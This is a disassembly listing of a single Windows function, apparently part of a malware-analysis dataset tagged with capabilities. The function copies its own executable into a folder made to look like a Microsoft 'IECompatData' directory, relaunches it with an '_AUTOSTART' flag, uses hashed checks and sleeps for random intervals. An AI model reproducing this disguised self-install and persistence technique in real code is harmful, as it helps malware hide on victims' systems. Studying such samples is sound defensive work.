Function at 0x405e09
Capabilities:
Copy file
Create directory
Get common file path
Set current directory

Disassembly:
mov eax, 0x49d1fc
call sub.MSVCRT.dll__EH_prolog
sub esp, 0xa40
push ebx
push esi
push edi
lea ecx, [ebp - 0x304]
call fcn.0040484e
xor ebx, ebx
mov ecx, 0x90
xor eax, eax
lea edi, [ebp - 0x64a]
mov word [ebp - 0x64c], bx
mov word [ebp - 0x274], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x98
xor eax, eax
lea edi, [ebp - 0x272]
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x274]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x3436bb35
call fcn.00404e96
mov esi, dword [sym.imp.MSVCRT.dll_wcscat]
mov edi, 0x4d55ac
test eax, eax
jne 0x405eb7
push 0x2c97b169
call fcn.00405d33
test eax, eax
je 0x405eb7
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
cmp word [ebp + eax*2 - 0x276], 0x5c
pop ecx
jne 0x405eb7
call fcn.0040540b
test eax, eax
je 0x405ec3
lea eax, [ebp - 0x274]
push edi
push eax
call esi
pop ecx
pop ecx
lea eax, [ebp - 0x274]
push str.Microsoft
push eax
call esi
pop ecx
lea eax, [ebp - 0x274]
pop ecx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x274]
push edi
push eax
call esi
lea eax, [ebp - 0x274]
push 0x4d5628
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x274]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x274]
push edi
push eax
call esi
lea eax, [ebp - 0x274]
push str.IECompatData
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x274]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x274]
push edi
push eax
call esi
lea eax, [ebp - 0x274]
push 0x4d55b8
push eax
call esi
add esp, 0x10
mov esi, 0x104
lea eax, [ebp - 0x64c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.MSVCRT.dll_wcscmp]
pop ecx
test eax, eax
pop ecx
je 0x4060ad
push ebx
push ebx
push ebx
push 0x4048ae
push ebx
push ebx
call dword [0x4dfcc4]
push eax
pop dword [ebp - 0x10]
lea eax, [ebp - 0x274]
push ebx
push eax
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406080
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x407]
mov byte [ebp - 0x408], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x408]
push esi
push eax
or esi, 0xffffffff
lea eax, [ebp - 0x274]
push esi
push eax
push ebx
push ebx
call dword [0x4dfc74]
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0xa4b]
mov byte [ebp - 0xa4c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x408]
push str._AUTOSTART
push eax
lea eax, [ebp - 0xa4c]
push str.__s___s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0xa4c]
push 1
push ebx
push 0xf0
push 0x320
push 7
push 0xfffffffffffffffb
push 7
push ebx
push esi
push esi
push ebx
push eax
call fcn.004015ed
cmp eax, 0x400
jne 0x406080
push esi
push dword [ebp - 0x10]
call dword [0x4dfd20]
push dword [ebp - 0x10]
call dword [0x4dfcf4]
push ebx
call dword [0x4dfcec]
lea ecx, [ebp - 0x304]
call fcn.004049de
mov eax, 0x3e8
jmp 0x4060bd
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [0x4dfd20]
push dword [ebp - 0x10]
call dword [0x4dfcf4]
call dword [sym.imp.MSVCRT.dll_rand]
push 0x64
cdq
pop ecx
idiv ecx
add edx, 0xc8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x304]
call fcn.004049de
mov eax, 0x400
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4